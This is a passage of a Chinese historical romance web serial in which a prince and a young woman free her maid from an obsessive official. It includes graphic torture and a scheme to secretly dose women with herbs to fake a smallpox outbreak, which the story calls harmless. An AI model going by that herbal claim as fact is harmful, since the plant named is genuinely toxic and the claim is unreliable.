朱弘毅一直站在门外,沉默地听着,廊下明角灯的光晕在他脸上投下明暗交错的阴影。随着周妙雅的叙述,他眸中的温度一点点褪尽,最终凝成深不见底的寒冰。 文毓瑾的所作所为,偏执而卑劣,令人发指。 汹涌的怒意在朱弘毅胸中翻涌,他阖上眼,深吸一口气,强行压下了即刻就提刀手刃文毓瑾的冲动。 屋内,本还泣不成声的周妙雅忽地起身,她的身子虽还是抑制不住地微微发颤,却不知从何处生出一股坚毅。 “我要去救她。”她声音很轻,语气却是斩钉截铁。说罢,她转身便要向门外走去。 “站住。” 朱弘毅的声音自门外传来,平静,却挟着千钧之力,逼得她脚步倏然顿住。 “你去?如何去?” 他的声音听不出情绪,却字字如冰刃,刺破她沸腾的冲动:“这摆明了就是一个请君入瓮的死局。济慈堂如今就是龙潭虎穴,只等你这只飞蛾扑上去,你此刻去,不是救人,是自投罗网,正中文毓瑾下怀。” “可是白芷!” 周妙雅眼中已蓄满了泪,却倔强地不肯落下:“她是因为我才落到这步田地的,我怎能明知她在火坑里,却为了自身安危置之不理,我做不到!” “你若落入文毓瑾手中,白芷只会死得更快,也更不值。” 朱弘毅终于转过身,目光沉静而锐利,似能直抵她慌乱的内心:“你想救她,靠的不是一时意气,而是冷静的头脑和周全的计划。莽撞,只会让你们主仆二人万劫不复。” 他走到她面前,放缓了语气,轻轻抚着她的头,柔声安慰道:“此事交给本王,你安心待在府中,哪里都不许去。” 说罢,他目光转向廊下,沉声唤道:“长安。” 一直隐在长廊阴影里的长安应声而出,垂首肃立:“王爷。” 朱弘毅嗓音冷厉,不容置喙地吩咐道:“你立刻带两个稳妥机警的人,去城西济慈堂,仔细查探,弄清楚里面的格局,人手,守卫情况。最重要的是,确认白芷姑娘是否真在其中,以及她现在的具体状况。记住,暗中查访,不得惊动任何人,尤其是文家的人。” “是,王爷!属下明白。”长安感受到主子话语深处那缕寒意,心中一凛,立刻领命,转身快步离去,身影迅速消失在夜色中。 ———— 夜深人静,周妙雅在床边整整坐了一夜,这一夜对她而言异常煎熬。 她坐立难安,无数次踱到门边,又强迫自己折回。朱弘毅的话在耳畔回响,她知道他是对的,可那份对白芷的牵挂,却像蚀骨之痛般缠着她,一寸寸噬咬她的心。 直至第二日清晨,长安才风尘仆仆地归来,他衣襟带霜,身上携着昨夜一宿的寒气。 “王爷,周姑娘。” 长安面色凝重,语速极快:“属下已查探清楚,济慈堂内外,明哨暗 卡,遍布文家的眼线,防守之严密,堪比军营重地。尤其是后院西北角一处独立小院,更是守备森严,连只苍蝇都难飞进去,白芷姑娘应就被关在那里。” 周妙雅的心骤然一沉。 长安继续道:“此外,属下暗中探查得知,这济慈堂绝非善地。表面收容无家可归的女子,实则内里腐朽不堪。许多被家族厌弃或是有私怨的女子被送入其中,名为赡养,实为囚/禁,终日做苦工,稍有懈怠便非打即骂,与奴役无异。文家将白芷姑娘置于此地,其心可诛!” 果然如此,文毓瑾不仅布下陷阱,更是将白芷推入了另一个地狱。 朱弘毅听完,脸上并无意外之色,只是眸色愈发冷冽,他转头看向面色惨白的周妙雅。 “现在,你还要去吗?”朱弘毅轻声问道。 周妙雅死死咬住下唇,几乎渗出血来。 巨大的无力感和愤怒顷刻间淹没了她,刀山火海,天罗地网,文毓瑾是算准了她,将她逼到了绝境。 她抬起眼,眼中泪水已流干,只剩下一种冰冷的,绝望之后的倔强:“既是龙潭虎穴,也要去,但我不会莽撞地去送死。王爷,求你,救救白芷。” 她望着朱弘毅,第一次如此直白地向他开口求助,因为她清楚,仅凭她自己,绝无可能从那样的地方救出一个活人。 朱弘毅凝视着她,看到了她眼底的决绝与信任。他沉默了片刻,低声道: “知道了。” 他低头思虑了片刻,后冷静地看向长安:“硬闯不可取,文毓瑾正等着我们自投罗网。必须想个万全之法,既要救出白芷,亦要保证妙雅周全。” 空气霎时陷入了一片凝重之中。 周妙雅的目光掠过书架,停在近日翻阅过的那排医书上,脑中灵光一闪,一个模糊的念头渐渐成形。 “殿下。” 她声音轻颤,却带着破釜沉舟的决绝:“我们能否…制造一场必须由外力介入的混乱?” “仔细说。”朱弘毅抬眼示意她继续。 “我近日研读医书,发现数种常见草药,如红茴,香根,莽草等,若配伍或煎煮失当,会致突发高热,遍体红疹,极似虏疮初起。然其病因根源是药毒相冲,而非疫症传染,症状一两日内便会消退,对身体根基无害。” 朱弘毅眸光倏亮,立刻领会了她的意图:“你的意思是,需得让几人病得足够逼真,继而引发恐慌,惊动官府?” “是!” 周妙雅迎上他的目光:“济慈堂本为收容无依女子之处,若骤现虏疮,官府必行封院隔离,堂内势必大乱。殿下只需事先打点好官差,以太医院致仕的王老太医并数名医女奉命救治为名,届时守卫自顾不暇,正是我们潜入救出白芷的良机。事后,再由王老太医当众验明并非真疫,绝无传染之虞…此事便成了。” 周妙雅继而又补充道:“届时我扮作医女混入,便可伺机救人。眼下看来,这是唯一能搅乱局势,救出白芷的办法,也是把她从文毓瑾手中救回的权宜之计。” 朱弘毅沉思片刻:“此计虽险,却正中要害。济慈堂本为藏污纳垢之地,文毓瑾借此幽禁无辜女子,假疫一起,不仅能救白芷,也能借官府之力,名正言顺地清查此地,或可一举揭开其中黑幕,解救所有被困女子。” 周妙雅眸中泪光闪烁,却重重点头:“让她们片刻受惊,总好过困在魔窟中永无天日,这份罪孽,我来背。” 朱弘毅不再迟疑,当机立断:“长安!” “属下在!” “按此筹划,即刻去办。所需药材,由妙雅列出,你亲赴可靠药铺,分批购齐,务必隐秘。至于顺天府与王老太医,本王亲自安排。” “是!” ———— 三日后,城西济慈堂突发虏疮的消息,在京城角落悄然传开,引发了不小的恐慌。 官府闻讯,虽未大肆声张,却迅速派了差役在外围把守,严禁内外人等随意出入。 济慈堂后院,心腹侍卫面色惶急,冲着文毓瑾扑通一声跪下,劝道:“大爷!疫情凶险,已有好些丫头病倒了,此处万万不可再留,请您即刻移步。” 文毓瑾正对窗抚琴,指尖捻拨,琴音淙淙,丝毫不乱。他头也未抬,语气异常平静:“慌什么。” “可是大爷,万一染上…” “染上便染上。” 文毓瑾打断他,指尖流出一段清冷的弦乐,唇角勾起一抹令人毛骨悚然的弧度:“生死有命,她若不来,活着也无趣。她若来了…便是与她共赴黄泉,亦是人间极乐。” 他抬起眼,目光穿透窗户,仿佛已看到那个朝思暮想的身影:“我就在这里等她,哪怕洪水滔天,瘟疫横行,我也要等到她。” 济慈堂外,一辆不起眼的马车悄然在侧门停下。 周妙雅身着医女服饰,脸上罩着防病的面纱,只露出一双至纯至澈的眼眸。 朱弘毅换了一身暗纹道袍,腰间白玉点缀着绦带,作寻常贵公子打扮,贴身跟在她身侧,低声道:“跟紧我,无论看到什么,绝不可冲动。” 他暗中打了个手势,几名混在人群中的护卫悄无声息地分散开,为他们警戒。 凭借医女的身份和打点好的关节,两人顺利进入了济慈堂。 然而,院内景象却让周妙雅心下一沉。 巡逻的守卫虽面带忧惧,却依旧恪尽职守,脚下半步未乱。 他们假意巡视,一路贴墙而行,逐渐靠近后院守卫最森严的一排屋舍。 就在经过一扇虚掩的窗户的霎那,周妙雅的目光无意间向内一瞥… 只此一眼,便让她浑身的血液瞬间冻结。 屋内,白芷被捆着手脚,蜷缩在角落,衣衫褴褛,裸露出的手腕和脚踝上带着明显的淤青和烫伤的痕迹。 文毓瑾执着一方白丝帕端坐在太师椅上,他垂眸细细擦拭着手指,脚边放了一个炭盆,里面隐约可见一根烧得通红的铁钎。 文毓瑾俯身低笑:“还是不肯说,她在哪儿吗?无妨,我有的是时间。” 他目光骤然阴鸷起来:“你说,若是她看到你这副模样,是会心疼得立刻现身,还是会…更怕我呢?” 白芷抬起空洞的眼,啐出一口带血的唾沫。 “骨头倒是硬。” 文毓瑾显然失去了耐性,嗓音骤然转冷。他抛下手中的帕子,俯身拾起那根暗红铁钎:“看来,教训得还是不够。” 周妙雅只觉瞬间呼吸骤停。 她眼睁睁看着那暗红的铁钎缓缓逼近白芷苍白的脸颊,愤怒,恐惧,心痛如同海啸般袭来,全身的血液直冲头顶,不顾一切地就要冲进去。 就在这千钧一发之际… 一只手突然从她身后伸来,用力地捂住了她的嘴,将她所有即将脱口而出的尖叫与呐喊都堵了回去。另一条强壮的手臂则紧紧环住她的腰枝,将她整个人向后一带,牢牢地禁锢在坚实的怀抱中,迅速隐入墙角的阴影之中。 “冷静!” 朱弘毅灼热的气息在她的耳畔拂过,声线压得极低:“现在出去,白芷立刻会死,我们也会暴露。” 他的胸膛剧烈起伏,紧紧贴着她颤栗的脊背,擂鼓般的心跳声疯狂撞击着她的背,与她自己的心跳混乱地交织在一起,分不清彼此。 透过缝隙,周妙雅眼睁睁看着文毓瑾手持那根红色的铁钎,贴着白芷枯瘦的脸颊游移,最终忽地一沉,烙进白芷旧伤重叠的肩头。 只听滋啦一声,皮肉焦卷的声响伴随着白芷压抑到极致的,从喉咙深处挤出的呜咽,瞬间击碎了周妙雅心中全部的防线。 周妙雅被吓得浑身一软,所有的力气都被抽空,若非朱弘毅死死抱着,她早已瘫倒在地。 文毓瑾,是那个连生死 与疫病都置之度外,只为逼她现身的,真正的疯子。 “官府查案!所有人等,不得妄动!” 与此同时,济慈堂前院方向,终于传来了预期中更大的骚动。 是朱弘毅事先安排的人,引导着官差,借着疫病之名,开始强行清查,制造混乱。 机会来了! 然而屋内文毓瑾的反应却出乎意料。 他并未显露出惊慌,只是不耐地啐了一声,脸上闪过被搅了兴致的阴鸷。 “带上她,此地已暴露,不宜久留。”他丢开铁钎,对着守卫,冷漠地指了指地上蜷缩着,因剧痛而意识模糊的白芷。 两名护卫立刻上前,粗暴地将白芷从地上拖拽起来。白芷发出一声痛苦的呻吟,像一件没有生命的物品,被他们架着,跟随在文毓瑾身后。 “跟上他们” 朱弘毅对着暗处的长安发号施令。 然而,就在他刚刚说完这句话,准备顺着暗道追踪文毓瑾的时候,却见长安突然出现,拦住了他。 长安脸色铁青,呼吸急促:“王爷!周姑娘!快走!北镇抚司的锦衣卫突然带人包围了这里,我们的人被拦在了外面,他们声称接到密报,要彻底清查济慈堂。再不走,一旦被锦衣卫堵在里面,后果不堪设想。” 电光火石间,快速权衡利弊,朱弘毅做出了最痛苦也最理智的决定。 他不甘地看了一眼那扇已经空无一人的囚/室,突然猛地攥紧周妙雅的手腕。 “走!”他咬紧牙关,用力将她拽走,冷静果断,没有迟疑半分。 马车在夜色中疯狂疾驰。 ———— 车至宁王府前,朱弘毅一步跃下马车,伸手便将周妙雅横抱入怀。 他的动作带着未消的戾气,直踏进暖阁,才把人轻轻安置于榻上。 看着她苍白失神的小脸儿,所有未尽的话都堵在了喉间,他张了张口,半晌,只留下一句:“先休息。” 周妙雅睁着双眼,泪水早就流干了。 不知过了多久,窗外天色泛起鱼肚白,她眸底的绝望逐渐褪去,取而代之的是破釜沉舟的坚毅。 哭泣解决不了问题,哀求也换不回白芷。 她必须冷静。 文毓瑾是个疯子,但疯子,必有其偏执的命门。 她仔细回溯所有细节。 济慈堂的失手,败在文毓瑾将生死置之度外,也败在锦衣卫意外的横插一脚。 但文毓瑾并非毫无弱点,他的弱点,就是他对自己那病态而扭曲的执念。 一个计划,在她心中逐渐清晰,成型。风险极大,但这是目前唯一能精准刺中文毓瑾要害,逼他现出原形的方法。 她痛定思痛,咬牙起身,以冷水净面,换了一身素净的衣裙,强咽下几口粥菜,然后,她强逼自己稳住颤抖的手,铺开宣纸,研墨调色。 她画的不是寻常的山水花鸟,而是一幅带着旖旎与暗示的情画。 月色如纱,笼得虎丘山溪一片朦胧。 少女失足落水,裙裾飘荡,一只绣鞋自纤足滑落,随暗溪漂向画的尽头。青衫书生负手背对而立,驻足回望,似惊似盼。留白处,题着一行暧昧不清的小楷:“虎丘一别,君曾记否?” 这画,画的正是当年虎丘诗会,文毓瑾救起落水的自己那一幕。 画上那只绣鞋,是她精心复刻了当年所穿的式样,鞋头绣着并缠枝并蒂莲纹样,那是一个极其私密的象征,足以让文毓瑾确认她身份。 她要将这画送到文毓瑾手上。 这是饵,钓的是他疯狂上头的执念。 画完之后,她将干透的墨迹小心翼翼地装好,捧着画匣,穿过回廊,来到朱弘毅的书房。 此刻他正站在窗前,背影孤寂。 “殿下。” 她轻声唤了唤他,语气平静:“我想好了,我们需主动出击,我想要反击。” 她将自己的计划和盘托出:“以此旧情为饵,约文毓瑾在京郊破庙单独相见。他必以为我走投无路,妄图换取白芷。以他疯魔的心性,定会携白芷前来赴约,为的是当面羞辱我,折断我,看我跪地哀求,彻底把我纳入掌控。” 朱弘毅凝视着她,眼前的女子明明脆弱得一阵风就能吹倒,眼底却燃着一种令他心惊的决绝。 此计险极,疯极,甚至不惜把她自己的名节抛出去做饵,但不可否认,这确实是个奇招,其正中疯子的七寸,并很有可能真的将白芷救出。 朱弘毅抬首,目光锐利:“你要亲自作饵?” 周妙雅迎上他的目光,坚定道:“唯我现身,他才会信,才会带上白芷。” 朱弘毅沉默良久,喉结微动,终是开口:“你可知,若计划有失,你会面临什么?” “我知道,殿下,我知道这是龙潭虎穴。” 周妙雅毫不退缩:“可如今,唯有这法子能叫疯子松手。所以,殿下,我需要你在我身后布下天罗地网,趁我对峙之时,救出白芷,也…也保护我…” 她竟将自身安危与最后希望,全然托付于他… 朱弘毅凝视着她眼底的决绝,沉默良久,重重点头:“好,本王陪你赌。” ———— 夜色正浓,那幅画途经隐秘的渠道,被悄悄递进了文府。 烛火下,画卷只展开半幅,那只绣鞋便已撞进了文毓瑾的眼底。 他那双正在抚琴的手猛地顿住,琴音发出一声刺耳的铮鸣。 他屏住呼吸,缓缓起身,目光死死锁在那只绣鞋上。 他伸出手,指尖微颤着,轻若蝶翼般地抚摸着画上那双绣鞋的缠枝并蒂莲,像轻轻触碰着一场做了多年的旧梦。 “呵…呵呵…” 低哑的笑声自喉间溢出,初始压抑,随即越来越刺耳,最后变成了近乎癫狂,带着哽咽的狂笑。 笑声在空寂的书房中回荡,令人毛骨悚然。 他猛地将那幅画抓起,紧紧贴在自己颊边,深深吸吮着那上面残留的,属于周妙雅的淡淡气息,眼神迷醉而狂乱。 他喃喃自语着,炽热的唇瓣反复亲吻着那幅画,一遍遍地摩挲着:“是我的…终究还是我的…你终于肯低头了,雅儿…我的雅儿…” 他阖上双眼,想象在脑海中蔓延… 周妙雅穿着这双绣鞋,莲步轻移,柔情款款地走向他,鞋尖上的并蒂莲在他的逼视下娇气地颤着,她一步一抖,满身都是欲拒还迎的乞怜。 她颤着身子,怯生生双目含情地望着他。他逼迫着她,将她双手缚住,按在软榻上。他凝着她那无力反抗,走投无路的可怜模样,着实是太让人心动了。 极致的占有欲在他胸中汹涌翻滚着,这不仅仅是一幅画,更是他胜利的象征,是她终于向他屈服的铁证。 清醒过后,他立刻下令:“备车,带上那个丫头,去京郊破庙赴约。” 心腹见状,忧心忡忡地劝阻:“大爷,此事蹊跷,小心有诈啊!万一她…” “诈?” 文毓瑾厉声打断,将那幅画小心翼翼纳入怀中贴身藏好,低低笑道:“她一个孤女,除了用这点旧情来求我,还能有什么办法?她舍不得白芷,这就是她最大的弱点,我等这一天,等得太久了,谁敢拦我,死!” 说罢,他翻身上马,月光照出他眼底一片猩红,疯狂的执念已彻底吞噬了他的理智。 ———— 京郊荒山,破庙半壁倾颓,月冷星稀。 周妙雅一身素衣,独自立于庙中,身形单薄,脊背挺直。 马蹄声近,文毓瑾到了。 他只带了四名黑衣死士走进破庙,白芷被麻绳捆缚着,随手丢在草堆里,气息奄奄。 他见周妙雅果然一人前来,目光死死盯在她身上,脸上的神情在刹那间经历了数种变化… 先是眸底一震,继而狂喜翻涌,最终化为带着毒意的满足。 他并未急 着上前靠近她,反而站在月色投过的残影下,隔着几步的距离,将她从头到脚一寸一寸地审视,像是在验看失而复得的珍宝是否完好无损。 随即,他低低地笑了起来,笑声在空寂的破庙里回荡:“呵呵…果然…果然是你。” 他摇着头,语气里说不清是感叹还是嘲弄:“我就知道…你怎么会舍得死呢?” 他一步步地逼近,目光缠绕着她,声音黏腻:“雅儿,你终于肯回头了。早知要受这许多苦才肯回头,当初在苏州,我就不该对你那般客气。” 说时,他眼底浮出旧景,昔日的小姑娘那怯生生娇滴滴的模样,软声软语地唤他大哥哥。 他屏息等待着,盼她此刻再露一次那副惊惶却依赖的神情。 然而,周妙雅抬起眼,目光平静无波,带着无悲无惧的疏离,只是微微福了一礼,声音清晰且克制: “文公子,画即已奉上,还请您高抬贵手,放白芷一条生路。” 就是这文公子三个字,却如惊雷劈空,瞬间将文毓瑾面上那层温雅的假面撕得粉碎。 文公子? 她叫他文公子? 不是大哥哥,而是如此生分,如此客套,如此泾渭分明的文公子。 他没有听到被他逼到墙角,她怯懦求饶,娇软地唤他那句让他**焚身的“大哥哥”… 气血瞬间在胸腔倒灌,暴戾与羞辱交织如火,轰地窜上头顶,烧得他眼底一片猩红。 他为了她神魂颠倒,焚心似火,而她竟敢用这样的称呼来划清界限。 他脸上的肌肉剧烈地抽搐着,脸上伪装的温润彻底消失,眼神瞬间变得阴鸷骇人。 “文、公、子?” 他几乎是咬着牙,一字一顿地重复,嗓音压得极低:“周妙雅,谁准你这样叫我?既将画送来,不就是来求我的么?求人,就该有个求人的样子!” 他猛地伸手,想要如过去那般,强行攫住她的下巴,让她抬眼正视自己,让她屈服。 就在他指尖即将触碰到她肌肤的刹那—— “咻!咻!咻!” 数支弩箭破空而来,精准射中了架着白芷的两名护卫的手腕。 “有埋伏!”文毓瑾脸色骤变。 庙外瞬间火把大亮,无数黑影如鬼魅般涌出,直扑文家护卫。 混乱中,两道身影迅如闪电,抢到白芷身边,割断绳索将她背起便退。 文毓瑾又惊又怒,拔剑欲拦,却被更多的护卫缠住。 他眼睁睁看着白芷被救走,而周妙雅也被一个突然出现的玄衣人护着迅速撤离。 “周妙雅!”他发出不甘的嘶吼,想要追击,却被密集的攻势逼回。 对方人多势众,训练有素,他根本无力突破。 片刻之间,庙内重归寂静,只留下他和受伤的护卫,以及满地带血的箭矢。 文毓瑾面色铁青,胸膛剧烈地起伏着。他竟被耍了,周妙雅背后果然有人,是谁? 他强迫自己冷静,走到周妙雅方才站立之处蹲下,仔细搜寻。 忽然,他目光一凝,俯身从尘土中拈起一片碎布。 那片碎布虽泥渍未干,却带着清雅的墨香和淡淡的茉莉花香,正是她惯用的气味。 文毓瑾用指腹摩挲着那块碎布,眼中闪过一丝狠戾,吩咐下去:“来人啊,把本官的小仙牵来。” 心腹从马车上牵下一条细犬,文毓瑾俯身,抚摸道:“小仙,速速记住这个气味,就是挖地三尺,也要找到她。” 细犬耸动鼻翼,吼叫了一声,随即窜入夜色,文毓瑾翻身上马,率众紧随。 小仙一路追踪,最终在京中一座巍峨府邸的侧门外停下,对着高墙焦躁尖叫。 文毓瑾抬头,看清门楣上“宁王府”三个鎏金大字时,瞳孔骤然收缩。 宁王…朱弘毅… 原来是他。 嫉妒,羞辱和滔天恨意的火焰在他心底迅速燃起。 他死死盯着王府大门,脸上缓缓露出一抹扭曲诡异的狞笑。 好,很好,游戏,越来越有趣了。 他弯腰抚摸小仙,身影悄无声息地没入暗处。 他不会硬闯,但他有的是手段,将这座王府,连同里面的人,拖入无间地狱—— 作者有话说:感谢小天使们一路陪伴入V!!!万字超大肥章已掉落~请查收!! 后面的剧情会越来越精彩哦~还有小周小朱甜甜甜甜掉牙的爱情~希望可以与你们一直同路到大结局! 因为要等上夹子,下一章会在夹子当晚(1月7日晚20:00)更新哦。 之后恢复日更,还是每日20:00与大家不见不散!![求你了][求你了][撒花][撒花][烟花][烟花] PS:因为是全文存稿,写这章的时候其实是九月底休年假的时候,刚刚从山西旅游回来,刚好刚看完广胜寺下寺水神庙的壁画,又去了小西天,之后又去了永乐宫看了超震撼的壁画,然后又去了双林寺看到超绝美的悬塑,回来就把壁画和悬塑都写进来了。《 》 30、第三十章 第30章 宁王府, 暖阁旁的耳房内,灯火彻夜未熄。 空气中弥漫着浓重的药味与血腥气。 白芷被安置在柔软的床榻上,薄毯掩到胸口, 双目紧闭, 脸色蜡黄, 嘴唇因高热而干裂起皮,时而发出痛苦的呓语。 周妙雅坐在床边,用沾湿的软布小心翼翼地擦拭她额角的冷汗。 当指尖触及白芷肩头那片被纱布层层包裹,仍渗出点点殷红的烙伤时,她的心便如同被那烧红的铁钎烫过一样痛。 “小姐…快跑…” 白芷在枕上痛苦地辗转,声音细若游丝:“冷…好冷…” 周妙雅的泪水瞬间涌上眼眶,泪水几乎夺眶而出, 却被她硬生生地逼了回去。 此刻,她不能哭。 “白芷, 别怕, 我们安全了。” 她俯下身,一遍遍在她耳边重复:“你看,是我, 妙雅,这里没有文毓瑾, 我们在一个很安全的地方。” 然而,白芷仿佛被困在无尽的梦魇里, 回应她的,只有断断续续的颤音。 她时而蜷缩成一团, 喊着冷,时而惊恐地挥舞双手,仿佛在推开什么, 时而又死死抓住周妙雅的手腕,一遍遍地呢喃:“老太太…药…康…毒…血…” 这些刺耳的字眼不断地在周妙雅脑海中回闪,她蓦地想起文老太太临终前,用那双苍老的枯手握住自己,交予那枚刻着周字的玉佩,唇边颤抖却终究没说完的遗言… 她又想起康婧瑶是如何从自己手里夺过文老太太的侍药权,如何整顿下人的。她也想起自己怀疑康婧瑶在药中做手脚,却苦无证据的困境。 白芷是否知道些什么?她在文家内宅,是否看见了,听见了那些被刻意掩盖的秘密? “白芷,你说清楚,祖母怎么了?什么药?什么毒?什么血?”周妙雅反握住她滚烫的手,急切地追问。 可白芷只是猛地睁开眼,瞳孔涣散,没有焦点,忽而她又尖声叫道:“大爷!别过来!奴婢什么都不知道!不知道!” 喊完,她像是耗尽了所有力气,头一歪,又陷入昏沉的睡梦中。 周妙雅的心沉了下去。 白芷的神智,被狂风暴雨摧残过后摇摇欲坠,想要从她口中问出清晰的线索,绝非一日之功。 她疲惫地揉了揉眉心,替白芷掖好被角,示意一旁侍候的医女好生照看,这才轻手轻脚地退出了耳房。 门外,朱弘毅负手而立,显然已等候多时。 “她情况如何?”他声音低沉。 周妙雅摇了摇头,声音倦极却掩不住忧愤:“外伤尚可用药,可她惊惧过甚,神思涣散,时醒时昏,胡言乱语。偶尔会提及祖母和康氏,还有只言片语的毒啊,药啊,血的,但语焉不详,拼不成句。” 说罢,她抬眼望他,眸底亮起微芒:“殿下,济慈堂那里,锦衣卫为何会突然介入?他们查到了什么?” 朱弘毅目光微凝,引她至稍远些的回廊下,环顾无人,才沉声道:“正要与你说此事,长 安刚探得的消息,北镇抚司之所以强势接手济慈堂,并非因我们制造的混乱。” 他顿了顿,语气带上一丝冷意:“他们在济慈堂后山的乱葬岗,发现了数具年轻女子的白骨,死状凄惨,皆是非正常死亡,这所谓的慈善之地,根本就是一个吃人不吐骨头的狼窝。锦衣卫顺着这条线,已正式从顺天府接过此案,正在深挖。” 周妙雅倒吸一口凉气,一股寒意自足底窜上脊背。她原以为济慈堂只是囚禁奴役,没想到竟还牵扯人命。 朱弘毅继而说道:“这伙锦衣卫为首的,是素以铁面无私、两袖清风著称的锦衣卫副指挥佥事,当今皇后的亲弟弟——顾凌云。” 周妙雅抬眸,眼神中闪过一丝希冀:“若这位顾大人当真刚正不阿,由他介入,定能还济慈堂受害的女子一个公道,也可全了我们之前的计划。” 朱弘毅望向她,重重地点了点头。 就在周妙雅稍松一口气时,朱弘毅的下一句话,却让她的心再次提了起来。 “不过,我们也不能掉以轻心。文毓瑾此人,睚眦必报,手段阴狠。他在济慈堂吃了亏,又在你这里碰了钉子,绝不会善罢甘休。” 说罢,他低声叮嘱道:“近日若无事,你尽量不要出府,外面…恐怕会有风雨。” ———— 朱弘毅的预感,很快便成了现实。 不过一两日功夫,一股诡异的流言便如同雨后春笋般,悄无声息地在京城的大街小巷蔓延开来。 茶楼酒肆,深宅后院,人们交头接耳,却压不住眼底的兴奋,争相热议着一个香/艳又骇人的故事。 故事的主角,正是那位曾寄居在文状元家,有着绝色姿容的表小姐——周妙雅。 传言将她描绘成一个心比天高,命比纸薄的狐狸精,明明与文家二郎有婚约在身,却因其平庸而心有不甘,偏要去攀折那霁月清风,前程似锦的文大郎,屡次三番借探讨书画之名,行勾引之实。 文府的场景被描绘的绘声绘色: 夜色深沉,周妙雅只披一件薄绡夏衫,端着醒酒汤叩开文毓瑾书房的大门,汤碗未递,腰肢先软,直跌到人家怀里。 回廊转角,周妙雅佯装失足,跌落手中的罗帕,眼波流转,欲语还休,身子直直扑向文毓瑾那袭清冷的白衣。 然而,文毓瑾是何等人物?那可是新科状元,品行高洁,如同山巅那不可攀附的皎皎明月。面对这等不知廉耻的狐媚手段,他始终恪守礼教,冷面相对,严词斥责其不安于室,堪称坐怀不乱的柳下惠。 “文状元真真是云端上的君子!被那狐媚子这般拉扯,仍能守身如玉,可见其品性之高洁!” “可不是嘛!听说那周氏女见勾搭兄长无望,又回头纠缠文二郎,二郎这才识破她的真面目,当场写下退婚书,欲要逐她出门!” 流言继续发酵,说她因勾引文毓瑾屡屡受挫,东窗事发,不仅惹得文老太太震怒,更让原本的未婚夫文毓瑜深感屈辱与厌弃,认定她品行不端,辱没门风。 据说就在那状元郎和首辅千金的洞房花烛之夜,周妙雅竟不知廉耻,披着一袭近乎透明的寝衣,潜入新婚夫妇的院落,在廊下堵住应酬完宾客,略带酒意的文毓瑾。 她泪光盈盈,软声软语地唤着毓瑾哥哥,诉说着多年的情意,不惜以身子相诱,企图在新婚之夜玷污状元郎的清白,破坏这桩御赐的姻缘。 “听说当晚闹得鸡飞狗跳,首辅千金刚揭了盖头,就撞见那狐媚子衣衫不整地贴着自己夫君,气得当场晕厥了过去!” “可不是嘛!堂堂首辅嫡女,状元正妻,哪咽得下这口气?当即唤嬷嬷把她按在院中,劈头盖脸一顿棍棒,连件遮体的衣裳都不给。后来文家怕丑事外扬,连夜把人塞进马车,卖进了最下等的窑子。若无宁王殿下,如今啊,她怕是正倚门卖笑,接那三文钱一桩的恩客哩!” “宁王殿下嘛,京城谁不知他向来不务正业,游手好闲,就爱往那些秦楼楚馆,三教九流的地方钻。” “听说他就是在那下作窑子里撞见周氏女的,她一身伺候男人的本事,惯会装柔弱,扮可怜,宁王哪见过这场面?三两下就被勾得神魂颠倒,当场撒了大把银子替她赎身,风风光光带回王府,金屋藏娇咯!” “传言还说她学过不少秘戏,夜夜吹拉弹唱,花样多得惊人。宁王殿下虽是龙子凤孙,可毕竟是男人嘛,哪经得住这等专门对付男人的功夫?这不,魂儿都被她吸干了,连体面都顾不上喽!” 流言无孔不入,起初还只是细碎的浪花,可世人唯爱咀嚼这风月韵事,尤其是事涉清白世家与皇亲贵胄的风月事。 这日傍晚,宁王府负责采买的李管事回来复命,额角带着一块不显眼的青紫。 周妙雅关切地问他发生了何事? 他对着周妙雅依旧恭敬行礼,却避开了她的目光:“回姑娘的话,今日市集人多,不慎撞到了,无妨,姑娘莫要惦记。” 直到夜深人静时,青黛才红着眼掀帘进来,声音压得哽咽:“姑娘,李管事哪是被人挤的?是茶摊上有泼皮说您说您在文状元新婚之夜勾引不成,被发卖进窑子。李管事气不过上前理论,就被他们掀翻在地,额头磕到了桌角” 周妙雅听闻,指尖一抖,盏中热茶生生溅在腕上,烫得肌肤通红,她却浑然未感觉到痛。 次日午后,厨房帮厨的陈嫂回府。 她不像往日那般带着市集的新鲜见闻和爽朗笑声,而是眼圈通红,脚步沉重,手里紧紧攥着一个褪了色的荷包,那是她预备给未来儿媳的见面礼。 她一进王府侧门,见到青黛,强撑的镇定便垮了下来,眼泪扑簌簌地往下掉。 “青黛姑娘…我儿…我儿炳生的亲事,黄了!”陈嫂哽咽着,几乎说不下去。 原来,陈嫂的独子王炳生在外街醉仙居酒铺做学徒,人勤快又老实,掌柜的早就相中他,想把自家远房侄女许配给他。两家暗中相看过几回,庚帖都备好了,只等选个吉日便互换定亲。 可今日一早,女方母亲却专程赶到陈嫂日常买菜的市集,将她拉到僻静处,满脸为难地开口: “陈嫂子,不是我们嫌弃炳生这孩子不好,他是个踏实肯干的好后生。只是…只是你们府上如今这名声,我们实在是不敢高攀了。” 妇人声音压得极低,惶恐里带着决绝:“满京城都在传,你们府里那位周姑娘,是那种…从见不得人的地方出来的,惯会使些下作手段,把王爷都迷得不顾体统。我们小门小户,只求个安稳清净。将来若是结了亲,别人指着我闺女说,看,那就是宁王府下人的媳妇,她婆婆日日跟那狐媚子在一个门里进出,这…这让我们家的脸往哪儿搁?街坊四邻的唾沫星子都能淹死人啊!” 妇人说着,将陈嫂之前送去的一点小心意塞回她手里,叹道:“陈嫂子,这亲事就算了吧。你们王府的门槛…如今太高,我们攀不起,也不敢攀。” 陈嫂握着那冰冷的银镯子,如同握着儿子破碎的良缘,心也沉到了谷底。她试图辩解两句,说周姑娘不是那样的人,说姑娘待下人向来温厚。可那妇人只是摇头,眼神里满是知人知面不知心的猜疑,匆匆离开了。 “我儿炳生…他…他听了这消息,在铺子后头闷着哭了一场…” 陈嫂对着青黛泣不成声:“他不敢怪主子,只恨自己命不好…多好的一门亲事,就这么…这么没了…” 青黛听得眼眶发红,又气又急,连连跺脚:“他们怎能这样! 这与姑娘何干!与炳生哥何干!” 傍晚,朱弘毅回来了。 他径直来到暖阁,身上还带着秋夜的寒凉。不等周妙雅开口,他便沉声道:“外面的流言,不必在意。” 他的语气依旧平静。 “殿下” 她声音哽咽:“是我连累了您,连累了府中上下” 朱弘毅抬手,止住她的话:“本王既然将你带回府中,就料到了会有今日。” 他走到她面前,目光坚定:“记住,在这京城,想活下去,就不能要脸。他们泼来的脏水,擦不干净,唯有烧开了再泼回去。”《 》 30-40 第31章 流言蜚语持续发酵中。 朱弘毅不见了。 并非出门半日, 也不是入宫议事,而是彻彻底底地消失,没了踪影。 梧桐叶打着旋儿落在窗台上, 周妙雅盯着那片枯叶出神。 起初, 周妙雅以为他像往常一样, 